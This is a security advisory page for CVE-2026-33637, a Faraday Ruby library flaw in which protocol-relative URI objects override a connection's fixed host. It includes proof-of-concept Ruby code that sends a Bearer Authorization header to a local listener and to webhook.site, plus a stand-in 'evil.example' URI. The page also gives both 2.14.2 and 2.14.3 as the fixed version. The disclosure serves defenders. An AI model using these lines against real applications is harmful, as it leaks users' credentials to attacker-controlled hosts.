CVE-2026-33637: Faraday: Protocol-relative URI objects still bypass host scoping (possible incomplete fix for GHSA-33mh-2634-fwr2)

Published May 18, 2026
·
Updated

Summary

Faraday::Connection#buildexclusiveurl still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

- Repository File(s)/Endpoint(s): - lib/faraday/connection.rb - lib/faraday/request.rb - spec/faraday/connectionspec.rb - spec/faraday/requestspec.rb - Function(s): - Faraday::Connection#buildexclusiveurl - Faraday::Connection#runrequest - Faraday::Request#url - Faraday::Request#toenv - Version(s) Tested: - Faraday 2.14.1 - repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), conn.post(...), or req.url(...) - Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/. 2. Build a fixed-base connection and provide a protocol-relative URI object to req.url. 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

- Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-nethttp, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:

bash $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mountproc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/nethttp"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :nethttp }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' - PoC code (inline):

ruby require "faraday" require "faraday/nethttp"

conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :nethttp }

target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target))

puts resp.status puts resp.body - Exit code: 0 - stdout (relevant excerpt):

text 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn - stderr (relevant excerpt):

text N/A - Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default nethttp adapter:

ruby require "faraday" require "faraday/nethttp"

conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :nethttp }

target = ["//webhook.site", "/<collector-id>"].join resp = conn.get(URI(target)) resp.status => 200 resp.url.host => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

- Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue: CVE-2026-25765 - Existing regression tests for the string-only fix: - spec/faraday/connectionspec.rb:314-345 - Existing test proving supported URI request input: - spec/faraday/requestspec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Other sources

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Versions 2.0.0 through 2.14.1 still allow protocol-relative host override when the request target is passed as a URI object (rather than a String) to Faraday::Connection#buildexclusiveurl. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and enables off-host request forgery: a request built from a fixed-base Faraday::Connection can be redirected to an attacker-controlled host, forwarding connection-scoped values such as Authorization headers and default query parameters. This issue has been fixed in version 2.14.3.

MITRE

Affected Software

3 affected componentsFixes available
rubygems/faraday>=2.0.0<=2.14.1
2.14.2
Faraday Project Faraday>=2.0.0<2.14.2
IBM IBM® Db2® on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data<=v4.8 v5.0v5.1v5.2v5.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/faraday to a version that resolves this vulnerability.

    Fixed in 2.14.2
  2. Upgrade

    Upgrade faraday to a version that resolves this vulnerability.

    Fixed in 2.14.3
  3. Configuration

    In any code using a fixed-base Faraday::Connection, avoid passing protocol-relative URI objects (like URI("//evil.example/pwn")) to Faraday::Connection#build_exclusive_url / Faraday::Request#url / conn.get(...). Pass only String paths/targets that cannot override the host, so connection-scoped headers (e.g., Authorization) are not forwarded to an attacker-controlled host.

    Faraday (Faraday::Connection::build_exclusive_url / Faraday::Request#url) protocol-relative URI handling for URI-object targets = Disallow/avoid protocol-relative URI objects (e.g., URI("//evil.example/pwn")) as request targets for Faraday::Connection created with a fixed base

Event History

May 18, 2026
Advisory Published
via GitHub·02:51 PM
Data Sourced
via GitHub·02:51 PM
DescriptionWeaknessAffected Software
May 19, 2026
CVE Published
via MITRE·05:44 PM
Data Sourced
via MITRE·05:44 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 19, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33637?

CVE-2026-33637 has been classified as a moderate severity vulnerability due to its potential for host scoping bypass.

2

How do I fix CVE-2026-33637?

To resolve CVE-2026-33637, upgrade the Faraday library to version 2.14.2 or later.

3

Which versions of Faraday are affected by CVE-2026-33637?

CVE-2026-33637 affects Faraday versions between 2.0.0 and 2.14.1.

4

What is a protocol-relative URI in the context of CVE-2026-33637?

A protocol-relative URI in the context of CVE-2026-33637 refers to a URI that does not specify the protocol, allowing for potential host scoping issues.

5

Can CVE-2026-33637 affect applications using Faraday?

Yes, applications using the affected versions of Faraday could be vulnerable to security risks due to the bypass of host scoping.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203